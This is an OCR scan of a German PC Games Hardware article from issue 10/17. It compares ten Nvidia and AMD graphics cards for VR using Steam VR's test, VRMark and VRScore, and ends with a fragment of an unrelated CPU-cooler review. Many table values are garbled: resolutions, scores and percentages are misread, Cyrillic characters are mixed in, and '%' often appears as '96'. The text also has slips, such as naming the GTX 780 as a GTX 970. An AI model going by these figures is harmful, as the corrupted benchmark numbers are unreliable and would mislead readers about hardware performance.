muss, alle 11,1 ms ein neues Frame 
zu rendern und an den Bildschirm 
zu senden. 


Beim Testen mit Steams internem 
Tool fällt auf, dass keine Grafikkar- 
te unter die vorgegebene Framrate 
rutscht. Erreicht wird das mit der 
sogenannten Dynamic Fidelity, die 
die Auflösung beziehungsweise 
den Detailgrad an die Hardware 
und den Ressourcenhunger der 
Anwendung anpasst. Ein ähnliches 
Funktionsprinzip kennt man be- 
reits aus Battlefield 1, das auf den 
Konsolen die Bildauflösung zu- 
gunsten einer konstanten Frame- 
rate anpasst. 


Zwei Testmöglichkeiten mit VRMark: 
Aus dem Hause Futuremark, die 
sich bereits einen Namen mit meh- 
reren PC-Benchprogrammen ge- 
macht haben, kommen gleich zwei 
Testmöglichkeiten für VR-Systeme: 
der Blue und der Orange Room. 
Jeder dieser Räume testet, ob auf 
dem eigenen System VR möglich 
ist, jedoch mit unterschiedlich 
starker Beanspruchung. Der kos- 
tenlos verfügbare Orange Room 
bildet dabei das Testumfeld für die 
Standardanforderungen der aktuell 
populärsten VR-Headsets Oculus 
und Vive. In diesem Benchmark 
wird der Fokus auf die Verarbei- 
tung geometrischer Formen, die 
Beleuchtung und auf simulierte 
Partikeleffekte der Grafikkarte 
gelegt. Weiter kommt es zum Ein- 
satz von FXAA als Anti-Alaisingme- 
thode, einer trilinearen Filterung, 


Dynamic-Fidelity beim Steam-VR-Test-Tool 


Qualitätseinstufung | MSAA | Skalierungsfaktor | gerenderte Auflösung 
11 8x 14 2116x2352 
10 8x 13 965x2184 
9 8x 1,2 814х2016 
8 8х ПАТ 663х1848 
7 8х 1 512х1680 
6 4x 1) 663x1848 
5 4x 1 1512x1680 
4 4x 0,9 360x1512 
3 4x 0,81 224x1360 
2 4х 0,73 102х1224 
1 4х 0,65 992х1102 


Steam-VR-Performance-Test 


Qualitàtseinstufung durch das Steam-interne Tool 


GTX 1080 Ti TS 11,0 (Basis) 
GTX 1070 Ew 10,9 (-1 96) 
GTX 980 Ti wn 10,7 (3 96) 
Fury X =n, (-12 90) 
RX 580 Ee 7,7 (30 %) 
R9390 pu (-31 %) 
GTX970 E 7,4 (33 %) 
RX470 Em 6,3 (-43 %) 
GTX 780 p 3,6 (-67 %) 
R9 280 [El 1,1 (-90 %) 


System: Core i7-4790K @ 4,0 GHz, Asus Maximus VII Него, 4 x 4 GiB AMD DDR3- 


14200; Windows 10 x64 (1703), RS: 17.30.1041 R5 GF: 384.94, HQ-AF Bemerkungen: | Steam-Wert 


Die GTX 1080 Ti erreichte als einzige Karte elf Punkte und stellt deshalb die Referenz dar. 


» Besser 


Blooming-Effekten und Tessellati- 
on sowie einer vom Prozessor si- 
mulierten Physik. VRMark testet in 
diesem Benchmark mit einer Auf- 
lósung von 1132 x 1348 pro Auge 
und der Programmierschnittstelle 
Direct-X-11. 


Der zweite Benchmark, der kosten- 
pflichtige Blue Room, ist für leis- 
tungshungrigere Anwendungen 
und entsprechend starke Hardware 
gedacht. Dieser hóhere Detailgrad 


schlägt sich in der simulierten Auf- 
lösung von 5012 x 2880 und in ei- 
ner erhóhten GPU-Last nieder. Um 
diese zu erreichen, werden doppelt 
so viele Vertices und Dreiecke wie 
noch im Orange Room berechnet. 
Aufserdem kommen genau wie in 
der kostenlosen Benchmark-Szene 
Blooming-Effekte zum Einsatz, die 
durch ein 2xMSAA-Anti-Aliasing 
mit einer 16-fachen, anisotropen 
Filterung aufgehübscht werden. 
Dies resultiert dann in der 12-fa- 


Orange Room Benchszene in VRMark 


Blue Room Benchszene in VRMark 


Durchschnittliche Frameraten nach mind. drei Messungen 


GIN 1080 Ti EX 221,6 (Basis) 
GTX 1070 Eu 209,6 (-5 %) 
GTX 980 Ti Es 193,8 (-13 %) 
Fury X = 173,8 (22 %) 
RX 580 EU 166,9 (-25 %) 
GTX970 Ee 139,9 (-37 %) 
RX470 E 138,4 (-38 %) 
R9390 E 125,8 (-43 96) 
GTX 780 EX 97,4 (-56 %) 
R9280 Ew 82,6 (-63 %) 


Durchschnittliche Frameraten nach mind. drei Messungen 
GTX 1080 Ti EEE 71,3 (Basis) 
GTX 1070 Eu 38,5 (-46 96) 
Fury X E 35,8 (-50 96) 
GTX 980 Ti ШЕШШ 35,1 (-51 96) 
RX 580 EEE 27,6 (-62 96) 
R9 390 | 25,2 (-65 96) 
GTX 970 БЕШ 24,6 (-66 96) 
RX 470 ШЕШ 22,0 (-69 96) 
GTX 780 ШШ 18,1 (-75 96) 
R9 280 В 14,2 (-80 96) 


System: Core i7-4790K @ 4,0 GHz, Asus Maximus VII Hero, 4 x 4 GiB AMD DDR3- 
14200; Windows 10 x64 (1703), RS: 17.30.1041 R5 GF: 384.94, HQ-AF 
Bemerkungen: Der Orange Room ist für aktuelle VR-Brillen ausgelegt. 


Fps 
» Besser 


System: Core i7-4790K @ 4,0 GHz, Asus Maximus VII Hero, 4 x 4 GiB AMD DDR3- 
14200; Windows 10 x64 (1703), RS: 17.30.1041 R5 GF: 384.94, HQ-AF 
Bemerkungen: Der Blue Room testet, ob eine Karte im VR-Bereich zukunftssicher ist. 


Fps 
» Besser 
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Der rot-hinterlegte Bereich stellt die Standardauflósung dar. 
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Frametimes der Referenzkarte GTX 1080Ti 


Frametimes der GTX 1080 Ti für 4K-3D-Performance und HMD-Performance 
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System: Core i7-4790K @ 4,0 GHz, Asus Maximus VII Hero, 4 x 4 GiB AMD DDR3-14200; Windows 10 x64 
(1703), RS: 17.30.1041 R5 GF: 384.94, HQ-AF Bemerkungen: Frametimes sind reziprok proportional zur Bild- 
wiederholrate pro Sekunde. Ein geringer Wert bedeutet, dass weniger Zeit zum rendern eines Frame benótigt wird. 


Frametimes der Radeon Fury-X 


Frametimes der Fury X für 4K-3D-Performance und HMD-Performance 
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System: Core i7-4790K @ 4,0 GHz, Asus Maximus VII Hero, 4 x 4 GiB AMD DDR3-14200; Windows 10 x64 
(1703), RS: 17.30.1041 R5 GF: 384.94, HQ-AF Bemerkungen: Die Fury-X ist eine der wenigen Karten im 
Test, die mit der Low-Level-API Direct-X-12 einen Zugewinn an Frames verbuchen kann. 


Frametimes der Geforce GTX 1070 


Frametimes der GTX 1070 für 4K-3D-Performance und HMD-Performance 
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System: Core i7-4790K @ 4,0 GHz, Asus Maximus VII Hero, 4 x 4 GiB AMD DDR3-14200; Windows 10 x64 
(1703), RS: 17.30.1041 R5 GF: 384.94, HQ-AF Bemerkungen: Anhand der 4K-3D-Performance in VRScore 
kónnen die Karten auf zukunftige VR-Anwendungen hin eingeschátzt werden. 
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chen Menge an Shader-Aufrufen, 
verglichen mit dem Orange Room. 


Bei VRScore 
setzt Base Mark auf die Cryengi- 
ne. Das Benchprogramm ist auch 
das einzige, welches die Móglich- 
keit eines Tests unter Direct-X-11 
und Direct-X-12 (Dx12) zulässt. 
Die eigentliche Messung wird in 
mehrere unterschiedliche Tests 
mit verschiedenen 


Basemarks VRScore: 


Rahmenbe- 
dingungen unterteilt, bei dem 
der 4K-3D-Performance-Test der 
ressourcenhungrigste ist und so 
an die Belastungsgrenze der GPU 
gehen kann. Außerdem wird die 
Grafikkarte mit unterschiedlichen 
Effekten belastet und ein Test mit 
der Brille ist auch möglich. 


Auf dem Prüfstand 

Nachdem nun die ramme vorge- 
stellt wurden, schicken wir die Gra- 
fikkarten auf die vier Testpacoure. 
Damit ein möglichst breites Spekt- 
rum behandelt wird, befinden sich 
unter den zehn Grafikkarten ganze 
sieben unterschiedliche Architek- 
turen - drei von Nvidia und vier 
von AMD. 


Nvidia MSI Geforce GTX 1080 Ti 
11GB: Die im Test stärkste Karte 
wird als Referenzpunkt für die 
anderen GPUs herangezogen. Bei 
Steam-VR erreicht die Grafikkarte 
die höchste Dynamic-Fidelity-Qua- 
litätseinstufung, die einer geren- 
derten Auflösung von 2116 x 2352 
Pixeln mit achtfachen MSAA ent- 
spricht. Mit knapp 22.300 Frames 
konnten in der vorgegebenen Zeit 
bis zu 100 Prozent mehr geren- 
dert werden, als beispielsweise 
bei einer Fury-X von AMD oder ei- 
ner artverwandten GTX 970. Kein 
Wunder also, wenn die Karte als 
VR-Ready eingestuft wird. 


Interessanter wird es bei VRMark 
von Futuremark, weil hier auch 
Bilder pro Sekunde angegeben 
werden. Geringere Raten als 90 
Fps sind für VR verheerend, da es 
beim Spieler zu Übelkeit und Un- 
wohlsein kommen kann. So kann 
die GTX 1080 Ti mit durchschnitt- 
lich 221,6 Fps rund 63 Prozent 
mehr Leistung erbringen als die 
im Test schwächste Karte und er- 
füllt damit die Ziel-Framerate. Die 
Aulastung der GPU lag innerhalb 
des Testtriplett zwischen 51 und 
69 Prozent, bei einer maximalen 


Temperaturänderung von 15 K, 
verglichen zur Starttemperatur. 
Die geringste registrierte Framera- 
te lag bei 84,6 Fps, die höchste bei 
236 Fps. 


Im anspruchsvolleren Blue Room 
dagegen erreicht die GPU durch- 
schnittliche Bildwiederholrate von 
71,8 Fps. Die GPU lief mit voller 
Auslastung und heizte sich hier 
um ganze 27 K auf. Die minimale 
Framerate wird bei 65,2 Fps gemes- 
sen und die beste bei 81,9 Fps. Da- 
mit wurde die Zielframerate deut- 
lich unterschritten, obwohl das 
Testsystem von der hauseigenen 
Punktebewertung um 50 Prozent 
besser eingestuft wird als ein „erst- 
klassiger High-End-PC“. 


Kommen wir zum letzten mit 
VRScore. Hier kann die GTX 1080 
Ti mit der Schnittstelle Direct-X-11 
beim 4K-3D-Performance-Test eine 
durchschnittliche Framerate von 
124,3 Fps mit maximal 205,4 Fps 
und minimal 67,3 Fps erreichen - 
ein ähnliches Ergebnis wie im VR- 
Mark. Beim Test mit angeschlosse- 
nem Head-Mounted-Display (HDM) 
können in der Oculus-nativen 
Auflösung im Durchschnitt 191,42 
Fps erreicht werden. Der geringste 
Wert liegt knapp unter 90 Fps. Mit 
der Low-Level-API Direct-X-12 büßt 
das System beim 4K-Test zehn und 
beim HMD-Test sieben Prozent ein. 


AMD Radeon R9 Fury X 4GB: Auch 
knapp zwei Jahre nach Veröffent- 
lichung ist die Fury-X die stärkste 
AMD-Karte im Test. Mit 9116 geren- 
derten Frames erreicht die Fury-X 
einen Qualitätsindex von 9,7 bei 
Steam-VR. Das entspricht einer 
zwölf Prozent geringeren Auflö- 
sung als noch mit der GTX 1080 
Ti. Damit liegt AMDs Furie im VR- 
Ready-Bereich der Steam-internen 
Einstufung. 


Im Orange Room kann die GPU 
durchschnittlich 173,8 Fps dar- 
stellen, die geringste gemessene 
Framerate lag bei 133,3 Fps. Wäh- 
rend der-Szene heiztesich die Karte 
nur um knapp 4 K zur Starttempe- 
ratur auf, was sicherlich der Kom- 
pakt-Wasserkühlung geschuldet 
ist. Der für zukünftige VR-Brillen, 
der Blue Room, bringt die Karte 
zur vollen Auslastung und einem 
Temperaturanstieg von acht Kel- 
vin. Verglichen mit der GTX 1080 
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Ti liegt die Frametime 50 Prozent 
höher, mit einem Tiefstwert von 
31,2 Fps und einem Plateau-Wert 
von 41,3 Fps. 


Base Marks VRScore stuft die Fury-X 
zurecht als „großartiges VR-Erleb- 
nis“ ein, obwohl im 4K-Test ganze 
50 Prozent weniger Frames als bei 
der Referenz erzielt werden. Mit 
einer VR-Brille können knapp 100 
Frames (98,4 Fps) pro Sekunde ge- 
rendert werden und durch Direct- 
X-12 wurden sogar vier Prozent 
Zugewinn verbucht. Die Tiefstwer- 
te liegen 32 Prozent respektive 24 
Prozent niedriger als mit Dx11. 


Nvidia Geforce GTX 1070 4GB: Diese 
Karte erzielt im Steam-VR-Test eine 
ähnliche Wertung wie die Schwes- 
terkarte GTX 1080 Ti, obwohl in 
der gleichen Zeit nur etwa 54 Pro- 
zent der Frames gerendert werden. 
In VRMarks Orange Room konnten 
durchschnittlich 209,6 Fps erreicht 
werden. Einbrüche in der Frame- 
rate gab es keine, obwohl die GPU 
bei 89 bis 100 Prozent Auslastung 
betrieben wurde und die Karte 
sich im Mittel um 21 K erwärmte. 
Im anspruchsvolleren Blue Room 
verfehlt die Karte mit 38,5 Fps den 
vorgegeben Zielwert um mehr als 
die Hälfte, während die GPU sich 
um circa 20 K aufheizt und die Aus- 
lastung bei 100 Prozent liegt. 


Im VRScore zeigt sich, dass die 
Frametimes unter Direct-X-11 im 
4K-Test 67 Prozent und mit Headset 
noch 57 Prozent höher liegen als 
bei der Referenzkarte. Mit knapp 
117 Fps ist die GPU für aktuelle VR- 
Brillen geeignet, obwohl unter der 
Low-Level-API Direct-X-12 die ge- 
renderten Frames im Schnitt fünf 
Prozent länger benötigen, um auf 
dem Bildschirm geworfen zu wer- 
den - unter 4K-Bedingungen sind 
es sogar neun. 


AMD Power Color RX 580 8GB: Gan- 
ze 30 Prozent büßt die RX 580 
mit acht Gigabyte Grafikspeicher 
im Steam-VR-Test gegenüber der 
Referenzkarte ein. Das entspricht 
einer dynamischen Auflösung von 
circa 1512 x 1680 Pixel. Genauere 
Informationen bekommen wir in 
VRMarks Benchtest für aktuelle 
Headsets. Dort erreicht die Karte 
im Mittel 166,9 Fps und sinkt nie 
unter 134 Bilder pro Sekunde. Im 
Belastungstest Blue Room, der zu- 


www.pcgameshardware.de 


künftige VR-Anwendungen simu- 
lieren soll, Konnte die GPU nur 27,6 
Frames pro Sekunde durchschnitt- 
licherreichen. Das sind zwar immer 
noch 48 Prozent mehr gerenderte 
Bilder als bei der schlechtesten im 
Test befindlichen Karte R9 280, 
aber 62 Prozent weniger als bei der 
Referenzkarte. 


Im VRScore dagegen zeigt AMDs 
Mittelklasse-Karte im 4K-3D-Per- 
formance-Test ein Mittel von 52,2 
Fps, was immer noch nicht genug 
für ein einwandfreies VR-Erlebnis 
(unter 4K-Bedingungen) ist. Wird 
die VR-Brille für den normalen 
Test angeschlossen, bleiben die 
Framezeiten unter den verlangten 
11,1 ms - im Durchschnitt braucht 
ein Frame 9,8 ms. Mit Direct-X-12 
ist auch hier ein Anstieg in den 
Werten zu beobachten, sodass die 
Frametime um sieben Prozent auf 
10,5 ms anwächst, aber noch unter 
dem Grenzwert bleibt. Die RX 580 
mit acht Gigabyte ist also als VR- 
tauglich einzustufen, auch wenn 
die Grenzwerte nur knapp über- 
troffen werden. Dies könnte sich 
bei zukünftigen Anwendungen im 
VR-Bereich als Problem herausstel- 
len. 


Nvidia Geforce GTX 980 Ti 6GB: Mit 
10,7 kratzt diese Karte knapp am 
SteamVR-Maximalwert, obwohl 49 
Prozent weniger Frames gerendert 
wurden als bei der Referenz. Den- 
noch kann die GPU aus dem Hause 
Nvidia 24 Prozent mehr Bilder be- 
rechnen als beispielsweise AMDs 
Fury-X. Im Orange Room kann die 
Karte auch eine gute Performance 
mit 193,8 Fps hinlegen, jedoch 
heizt die GPU sich bis zu einem ab- 
solutem Wert von 84 °C auf, bei ei- 
ner durchgängigen Auslastung von 
95 bis 100 Prozent. Auffallend sind 
die enormen Framedrops während 
der Benchszene, die zwar nie unter 
140 Fps fallen, trotzdem manchmal 
aber um 30 Prozent einbrachen. 
Die Bildwiederholungsraten im 
Bruder-Benchmark Blue Room wa- 
ren mit 35,1 Fps ganze 82 Prozent 
geringer als noch im Orange Room 
und die Karte glühte mit einem 
maximalen Temperaturanstieg von 
40 К. 


Die Benchmark-Software VRScore 
vom finnischen Hersteller Base 
Mark stuft die Geforce GTX 980 Ti 
als „großartiges VR-Erlebnis“ ein. 


Frametimes der Radeon RX 580 8GB 


Frametimes der RX 580 für 4K-3D-Performance und HMD-Performance 
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System: Core i7-4790K @ 4,0 GHz, Asus Maximus VII Hero, 4 x 4 GiB AMD DDR3-14200; Windows 10 
x64 (1703), RS: 17.30.1041 R5 GF: 384.94, HQ-AF Bemerkungen: Geringere Werte stellen eine bessere 
Performance dar. Auch hier zeigt sich eine Verschlechterung der Leistung durch Direct-X-12. 


Frametimes der Geforce GTX 980Ti 6GB 


Frametimes der GTX 980 Ti für 4K-3D-Performance und HMD-Performance 
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System: Core i7-4790K @ 4,0 GHz, Asus Maximus VII Hero, 4 x 4 GiB AMD DDR3-14200; Windows 10 x64 
(1703), RS: 17.30.1041 R5 GF: 384.94, HQ-AF Bemerkungen: Frametimes von 11,1 ms sind zwingend nótig 
für VR-Anwendungen. Optimal sind Frametimes von 8,3 ms respektive 120 Fps. 


Frametimes der Radeon R9 390 8GB 


Frametimes der R9 390 für 4K-3D-Performance und HMD-Performance 
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System: Core i7-4790K @ 4,0 GHz, Asus Maximus VII Hero, 4 x 4 GiB AMD DDR3-14200; Windows 10 x64 
(1703), RS: 17.30.1041 R5 GF: 384.94, HQ-AF Bemerkungen: Der acht Gigabyte große Videospeicher hält 
die Frametimes konstant. Dennoch hat die R9 390 Probleme mit Direct-X-11 und profitiert von Direct-X-12. 


10/17 | PC Games Hardware 51 


GRAFIKKARTEN | VR-Benchmarks: Tools, VR, Ausblick 


Frametimes der Geforce GTX 970 


Frametimes der GTX 970 für 4K-3D-Performance und HMD-Performance 
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System: Core i7-4790K @ 4,0 GHz, Asus Maximus VII Hero, 4 x 4 GiB AMD DDR3-14200; Windows 10 x64 
(1703), RS: 17.30.1041 R5 GF: 384.94, HQ-AF Bemerkungen: Bei der GTX 970 konnten einige Framedrops 
beobachtet werden, auch wenn die Werte nie in den bedenklichen Bereich kamen. 


Frametimes der Radeon RX 470 OC 


Frametimes der RX 470 OC für 4K-3D-Performance und HMD-Performance 
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System: Core i7-4790K @ 4,0 GHz, Asus Maximus VII Hero, 4 x 4 GiB AMD DDR3-14200; Windows 10 x64 
(1703), RS: 17.30.1041 R5 GF: 384.94, HQ-AF Bemerkungen: Die übertaktete GPU wurde als "VR-Ready" 
eingestuft, kommt aber mit den Frametimes nicht an den Sollwert, der für ein einwandfreies Erlebnis nötig wäre. 


Frametimes der Geforce GTX 780 


Frametimes der GTX 780 für 4K-3D-Performance und HMD-Performance 
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System: Core i7-4790K @ 4,0 GHz, Asus Maximus VII Hero, 4 x 4 GiB AMD DDR3-14200; Windows 10 x64 
(1703), RS: 17.30.1041 R5 GF: 384.94, HQ-AF Bemerkungen: Mit dieser Karte ist VR — wenn überhaupt — 
nur mit immensen Abstrichen möglich. In den Benchmarks konnten die Sollwerte nicht erreicht werden. 


52 PC Games Hardware | 10/17 


Im 4K-3D-Performance-Test schafft 
die Karte im Durchschnitt 66,1 Fps, 
was einer Zeit von 15,2 ms pro Bild 
entspricht. Viel interessanter ist 
aber das Abschneiden im Test mit 
einer VR-Brille: Hier schafft es die 
GTX 980 Ti, die Zielframerate mit 
17 Prozent locker zu übertreffen. 
Mit Direct-X-12-Schnittstelle sieht 
das aber schon wieder etwas an- 
ders aus, denn die hier erzielten 
Frametimes steigen um 4 ms pro 
gerendertem Bild im obligatori- 
schen 4K-Test und im HMD-Test um 
2 ms. Bei einer GTX 980 Ti kann 
man deshalb getrost von einem sau- 
beren VR-Erlebnis ausgehen. 


AMD Asus Radeon R9 390 8GB: Die 
knapp zwei Jahre alte Karte zeigt 
sich im Steam-VR-Test im vorderen 
Mittelfeld. Mit VRMark wird dieser 
Aussage vielleicht etwas mehr Sub- 
stanz zugeführt: Hier werden 125,8 
Fps respektive 25,2 Fps im Blue 
Room erreicht. Damit ist VR mit 
dieser Karte - zumindest an den 
aktuellen Brillen - möglich. Die 
GPU-Auslastung war beim weni- 
ger anspruchsvollen Orange Room 
durchgängig bei 100 Prozent und 
es konnte ein Temperaturanstieg 
um 23 K registriert werden. 


Wo man bei den bisher beschriebe- 
nen Karten eine Verschlechterung 
der Frametimes durch die Low- 
Level-API Direct-X-12 beobachtete, 
zeigt sich hier ein Zugewinn an 
Leistung. Die GPU rendert dann 
Bilder sechs Prozent 
als mit der Vorgánger-API. In dem 
4K-3D-Test köännen die Fps sich so 
um ganze vier Prozent verbessern. 
Dennoch lag der Wert mit Head- 
set unter den geforderten 90 Fps 
bei 12,13 ms. Base Mark stuft die 
Karte deswegen auch als VR-Ready 
ein - aufwendige Anwendungen 
kónnten die Karte aufgrund dieser 


schneller, 


Messwerte zeitweise zum Einkni- 
cken bringen und damit die VR- 
Erfahrung schmälern. 


Nvidia MSI Geforce GTX 970 4GB: 
Die Karte soll laut SteamVR „ein 
gutes VR-Erlebnis in hoher Quali- 
tät“ bieten. Diese Behauptung wird 
von VRMark im Orange Room un- 
termauert: Hier werden im Durch- 
schnitt 139,9 Fps gerendert, sodass 
alle 7,1 ms ein Bild angezeigt wird. 
Die GPU war wihrend des Tests zu 
100 Prozent ausgelastet und erfuhr 
eine Temperaturänderung von 17 


K. Nach ungefähr der Hälfte der 
Benchmark-Szene brechen bei al- 
len Testläufen mit der Geforce 970 
die Frameraten ein: von einer 
Frametime von 6 ms (165,3Fps) auf 
9,8 ms (105,1 Fps). Mit diesen Ren- 
derzeiten ist selbst mit so einem 
Framedrop ein flüssiges VR-Erleb- 
nis móglich. Im zweiten VRMark- 
Bench zeigt sich keine wesentliche 
Veränderung in der Temperaturzu- 
nahme oder Auslastung der GPU 
und die Karte verweilt bei 40,1 ms 
pro Frame (24,6 Fps). 


Die bisherigen Aussagen der Bench- 
programme von Steam und VRMark 
werden von VRScore nur teilweise 
bestätigt. Zwar stuft das Programm 
das VR-Erlebnis als „noch gut“ ein, 
aber die gemessenen 80 Fps in 
Direct-X-11 und 66,2 Fps in Direct- 
X-12 (17 Prozent weniger) erfüllen 
nicht die Vorgaben von HTCs oder 
Oculus’ Headset. Erst mit einer um 
20 Prozent herunterskalierten Auf- 
lösung erreicht die Karte 111,2 Fps 
respektive 90,6 Fps in Direct-X-12. 
VR ist also möglich, wenn man be- 
reit ist Abstriche in der Grafik hin- 
zunehmen. 


AMD Gigabyte Radeon RX 470 OC 
4GB: Zuletzt durch den Mining- 
Boom um Etherum wieder in die 
Schlagzeilen geraten, ist laut Steam- 
VR die Karte bereit für VR mit 
durchgehend hoher Darstellungs- 
qualität. In VRMark zeigt die Kar- 
te mit 7,2 ms Frametime ähnliche 
Werte wie eine Geforce GTX 970 
und hält damit den Anforderungen 
der VR-Brillen stand. Die Auslas- 
tung der GPU lag kontinuierlich bei 
100 Prozent und wärmte die Karte 
um 14 Kelvin auf. Entsprechend 
gering fiel die Bewertung im Blue 
Room aus, bei dem die Karte nur 
22 Fps erzielen konnte. 


Mit VRScore kann man die Aussa- 
ge der beiden anderen Benches 
besser einstufen, da hier eine pra- 
xisnahe Szene aus der Cryengine 
präsentiert wird. Im Test schlägt 
sich die RX470 nicht ganz so gut, 
wie noch von den anderen beiden 
Benches propagiert. Die VR-Brille 
wurde unter Dx11 nur mit 67,9 
Fps versorgt und unter Dx12 mit 
ganzen drei Prozent mehr. Erst, 
wenn die Auflösung um 20 Pro- 
zent herabskaliert wird, kann man 
flüssige 96,5 Fps beobachten. Die 
Reduktion von Effekten konnte 
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immerhin die Frameraten um 29 
Prozent steigern. Dennoch bleibt 
man auch hier unter den 90 ange- 
strebten Fps. VR-Ready bedeutet 
hier, mit mindestens 20 Prozent 
weniger Pixeln aufzufahren, um 
noch ein brechfreies Erlebnis zu 
bekommen. 


Nvidia Geforce GTX 780 3GB: Kom- 
men wir zu den Schlusslichtern, an- 
gefangen mit Nvidias Grafikkarte 
Geforce GTX 970. Im relativ wenig 
aussagenden Steam-VR-Test schnei- 
det die Karte mit ausreichend ab. 
Die Dynamic Fidelity bewegt sich 
hier im unteren Qualitätsbereich, 
sodass die GPU eine Skalierung 
zwischen 0,81 und 0,9 der ur- 
sprünglichen Auflösung maximal 
darstellen kann. Im Orange Room 
erzielt die Karte zwar ein Mittel 
von 97,4 Fps oder 10,3 ms pro 
Frame. Damit liegt die Karte noch 
im Anwendungsrahmen der aktuel- 
len Headsets, hat aber mit massiven 
Framedrops unter den Grenzwert 
zu kämpfen. Zudem heizt sich die 
Karte dabei um heiße 30 K - zur 
Starttemperatur - auf. Im Blue 
Room sind es sogar 32 K bei einer 
Diashow von 18,4 Fps. 


VRscore gibt der GPU ein „noch VR- 
Ready“. Diese Einstufung scheint 
fast zu wohlwollend zu sein, denn 
selbst bei 
ten Auflösung kommt die Karte 
nicht an den Zielwert von 11,1 ms 


einer herunterskalier- 


pro Frame. Stattdessen liegen die 
Zeiten knapp drüber. Alternativ 
erreicht die Karte ohne Effekte 
11,2 ms/Frame. Mit Dx12 wird das 
VR-Trauerspiel noch schlimmer, 
denn hier werden sogar 19 Prozent 
weniger Frames berechnet. 


AMD Radeon R9 280 3GB: Diese 
GPU hat schon mehrere Jahre auf 
dem Buckel und ist nicht mit VR 
als Anwendungsbeispiel designt 
worden. Bei SteamVR wird die 
Karte mit einer 1,1 vernichtend 
abgewertet. Diese Auflösung wür- 
de bei der dynamischen Quali- 
tätsanpassung einer Auflösung von 
etwas mehr als 992 x 1102 Pixeln 
entsprechen. In VRMark bestätigt 
sich diese Einschätzung mit einem 
Durchschnitt von 82,6 Bildern pro 
Sekunde. Dabei heizt sich die Karte 
bis zu 23 Kelvin auf und hatte mit 
massiven Framedrops zu kämpfen 
- der Tiefpunkt lag bei 60,1 Fps, 
was einer Frametime von 16,6 ms 
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entspricht und damit für den VR- 
Bereich deutlich zu lange bedarf. 


Obwohl der Pfeil des VRScore- 
Tauglichkeitometers gerade noch 
bei VR-Ready angesiedelt wurde, 
sagen die nackten Zahlen etwas 
ganz anderes. Die GPU konnte 
mit Headset und Dx11 lediglich 
Bildwiederholraten von 47,5 Fps 
erzeugen und selbst der Verzicht 
auf Effekte oder eine verringerte 
Auflösung konnten nie VR-passable 
Frameraten erzeugen. Im besten 
Fall lagen diese 30 Prozent unter 
den Minimalanforderungen der 
Brillen. Mit Dx12 konnte sogar ein 
Zugewinn verbucht werden,. Die- 
ser belief sich aber auf lediglich 
einen Prozent und verpuffte sofort. 


Abschließende 
Einschätzung 

Der Steam-VR-Performance-Test 
kann erste Anhaltspunkte zur Taug- 
lichkeit der eigenen Hardware in 
Sachen VR liefern, mangels Einstell- 
möglichkeiten und zu stark zusam- 
mengefasster Ergebnisse Kommt es 
aber zu Problemen. Lediglich über 
die beiden Enden des Spektrums 
lassen sich halbwegs vernünftige 
Aussagen treffen, sobald sich eine 
Karte aber im Leistungsmittelfeld 
befindet, wird die Beurteilung 
wage. Hier fehlen einfach Frame- 
times oder Wiederholraten, sowie 
ein Leistungsverlauf. 


Besser scheint das bei VRMark 
umgesetzt worden zu sein: Hier 
bekommt man detailierte Diagram- 
me zu Temperatur, Frameraten 
oder Auslastung gezeigt. Hier stellt 
sich aber die Frage, in wie weit der 
Benchmark praxisnah ist, da hier 
nicht auf eine Spieleengine, wie 
etwa bei Steam-VR oder VRScore, 
zurückgegriffen wird. Der kosten- 
pflichtige Blue Room scheint zu- 
dem nach jetztiger Hardware- und 
Performance-Lage ein unnötiges 
Accessoire zu sein, dessen Dar- 
seinsberechtigung noch fraglich 
ist. 


Ganz anders VRScore: Hier wird 
die Cryengine genutzt, die schon in 
VR-Titeln Anwendung fand. Durch 
unterschiedliche Belastungsszena- 
rien kann ein wirkliches Abbild der 
Leistung einer GPU im VR-Betrieb 
ermittelt werden. Außerdem ist ein 
Test mit Direct-X-11 und der aktuel- 
(ab) 


len Version möglich. 


Frametimes der Radeon R9 280 3GB 


Frametimes der R9 280 für 4K-3D-Performance und HMD-Performance 
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System: Core i7-4790K @ 4,0 GHz, Asus Maximus VII Hero, 4 x 4 GiB AMD DDR3-14200; Windows 10 x64 
(1703), RS: 17.30.1041 R5 GF: 384.94, HQ-AF Bemerkungen: Das absolute Schlusslicht in dieser Bestands- 
aufnahme. Wer mit dieser GPU VR ausprobieren möchte, sollte eine Spucktüte bereithalten. 


postionsbedingten Tracking-Aufwand und rechenaufwendige 
Anwendungen nicht in Betracht. Bitte befolgen Sie die 
individuellen Empfehlungen für das jeweilige VR-Headset bzw. 
VR-Software. 


Beachten Sie auch, dass die USB-Fähigkeiten Ihres Systems 
nicht getestet wurden. Befolgen Sie die Systemanforderungen 
der unterschiedlichen VR-Headsets. 


> Details ausblenden 


Qualität 


Sehr hoch 
Hoch 
Mittel 


Niedrig 


Durchschnittsqualität: 
Getestete Frames: 
Frames unter 90 FPS: 
CPU-gebundene Frames: 


7.4 (Hoch) 
9472 

0 (0%) 

0 (0%) 


Der Steam-interne VR-Test zeigt переп einem Tauglichkeitsmeter, wie viel Frames іп 
der Szene gerendert wurden und welche Qualität die GPU und CPU erreicht haben. 


VRScore listet alle Frameraten auf und bietet dazu noch die Fps für Einstellungen 
ohne Effekte oder mit herunterskalierter Auflösung. 
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EKLs Neuentwicklung raubt mit ei- 
ner gelungenen Abstimmung die 
PCGH-Kühlerchart-Spitzenposition 
vom sperrigen Noctua NH-D15. 


KLs Brocken 2 ist bei den 

PCGH-Lesern weiterhin sehr 
beliebt, aber in die Jahre gekom- 
men - Zeit für ein Redesign. Der 
Brocken-3-Kühlkörper hat mit 
dem Vorgänger nur das 140-mm- 
Single- Format und die von fünf 
freiliegenden Heatpipes gebildete 
CPU-Kontaktfläche gemeinsam. 
Die von einem hübschen Top-Co- 
ver bedeckten Lamellen verzichten 
dagegen auf die mittige Teilung 
und den markanten Abwärtsknick 
bisheriger Modelle. Dafür gibt es 
zwei stabilisierende Erhebungen 
im Bereich der Heatpipes und Ver- 
wirbelungsstrukturen ап Vorder- 
und Hinterkante. Dank der um 25 
Prozent gesteigerten Tiefe steht 
außerdem insgesamt mehr Lamel- 
lenoberfläche zur Verfügung. 


Ebenfalls neu entwickelt wurde 
der Lüfter. Dessen steil stehende 


Lüfterblätter mit großem Abstand 
erinnern an spezialisierte Gehäuse- 
lüfter und sollen effizienter arbei- 
ten. In den PCGH-Lautheitsmessun- 
gen überzeugt der Lüfter mit leisen 
1,0 Sone bei maximaler Drehzahl 
und einem auch in gedrosseltem 
Zustand nicht heraushörbaren La- 
ger - auch wenn hier das kernige 
(aber angenehme) Luftrauschen 
möglicherweise kleine Schwach- 
stellen maskiert. 


